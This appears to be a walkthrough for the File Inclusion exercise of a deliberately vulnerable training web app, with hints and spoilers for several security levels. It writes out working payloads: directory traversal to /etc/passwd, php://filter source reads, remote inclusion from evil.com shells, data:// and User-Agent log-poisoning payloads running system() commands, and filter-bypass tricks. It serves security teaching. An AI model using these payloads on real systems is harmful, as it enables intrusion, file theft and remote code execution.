File Inclusion vulnerabilities occur when web applications allow user-supplied input to specify files that will be processed or included in the application’s context. This can lead to:
Local File Inclusion (LFI): Including files from the local server filesystem
Remote File Inclusion (RFI): Including files from remote servers
These vulnerabilities can have severe security implications, potentially leading to:
Read all five famous quotes from the file /hackable/flags/fi.php using only the file inclusion vulnerability.Note: The file path is ../hackable/flags/fi.php relative to the vulnerability page.
The low security level has absolutely no input validation. User input is directly used to include files, making it trivially exploitable for both LFI and RFI.
You can navigate to parent directories using ../ sequences. Count how many levels up you need to go to reach the root directory, then navigate to the target file.Alternatively, use PHP stream wrappers to read the file content. The php://filter wrapper is particularly useful for reading PHP source code.
Show Spoiler
LFI Examples:
# Direct path to objective?page=../hackable/flags/fi.php# Read system files?page=../../../../../../etc/passwd# Read PHP source code (avoid execution)?page=php://filter/convert.base64-encode/resource=../hackable/flags/fi.php
The last example is important because it encodes the PHP file as base64, so you can see the source code instead of executing it.RFI Examples (if enabled):
# Include remote PHP file?page=http://evil.com/shell.php# Include remote file disguised as image?page=http://evil.com/shell.txt
For the objective, you need to read the quotes from fi.php. Using the base64 filter lets you see the actual PHP code with all 5 quotes.
LFI Bypass - Double Encoding:Since the filter only runs once, you can use:
# This: ../ gets filtered to nothing# But this: ....// becomes ../ after filtering?page=....//....//....//etc/passwd
The string ....// contains ../ which gets removed, leaving ../.RFI Bypass - Alternative Protocols:
# HTTP/HTTPS are blocked, but other wrappers aren't?page=php://input?page=data://text/plain,<?php system($_GET['cmd']); ?>?page=php://filter/convert.base64-encode/resource=index.php
PHP Stream Wrappers:PHP supports many stream wrappers besides HTTP:
php:// - Access various I/O streams
data:// - Data (RFC 2397)
file:// - Filesystem
ftp:// - FTP
zip:// - Compression streams
Show Hint
The filter only runs once through the input. What happens if you put one pattern inside another?For example, if the filter removes “AB”, what does “AABB” become?Also, HTTP/HTTPS aren’t the only ways to include remote content. PHP has other stream wrappers.
Show Spoiler
LFI Bypass:
# Double encoding the directory traversal?page=....//....//....//....//hackable/flags/fi.php
When ../ is removed from ....//, it leaves ../:
Before: ....//
Filter removes: ../
After: ../
RFI Bypass using PHP streams:
# Data wrapper?page=data://text/plain,<?php echo file_get_contents('../hackable/flags/fi.php'); ?># PHP filter (works great for reading source)?page=php://filter/convert.base64-encode/resource=....//....//hackable/flags/fi.php
// The page we wish to display$file = $_GET[ 'page' ];// Input validationif( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}
Key Vulnerability: The fnmatch() function uses shell-style wildcards. The pattern "file*" means “anything starting with ‘file’”, which is too permissive.
RFI is much harder at this level. You would need to:
Upload a file to the server that starts with “file”
Then include it using the file inclusion vulnerability
This is a multi-step attack combining file upload + file inclusion
Show Hint
The validation checks if the filename starts with “file”. It doesn’t check what comes AFTER “file”.Can you start your path with “file” and then add directory traversal sequences?
Show Spoiler
LFI Payload:
# Read the objective file?page=file../hackable/flags/fi.php# Read system files?page=file../../../../etc/passwd# Read source code?page=file../../../hackable/flags/fi.php
The key is that fnmatch("file*", "file../hackable/flags/fi.php") returns true because the string starts with “file”.RFI requires chaining:
Upload a malicious file via the file upload vulnerability
Name it something like “fileshell.php”
Include it: ?page=file../../uploads/fileshell.php
This demonstrates how vulnerabilities can be chained together for greater impact.
// The page we wish to display$file = $_GET[ 'page' ];// Only allow include.php or file{1..3}.php$configFileNames = [ 'include.php', 'file1.php', 'file2.php', 'file3.php',];if( !in_array($file, $configFileNames) ) { // This isn't the page we want! echo "ERROR: File not found!"; exit;}
# Read PHP source code (base64 encoded)?page=php://filter/convert.base64-encode/resource=index.php# Read file contents?page=php://filter/resource=../hackable/flags/fi.php# Execute PHP code (if allow_url_include is on)?page=data://text/plain,<?php phpinfo(); ?># Read POST data?page=php://input(Send PHP code in POST body)
Log Poisoning:
# Inject PHP into access logs via User-AgentUser-Agent: <?php system($_GET['cmd']); ?># Then include the log file?page=../../../var/log/apache2/access.log&cmd=whoami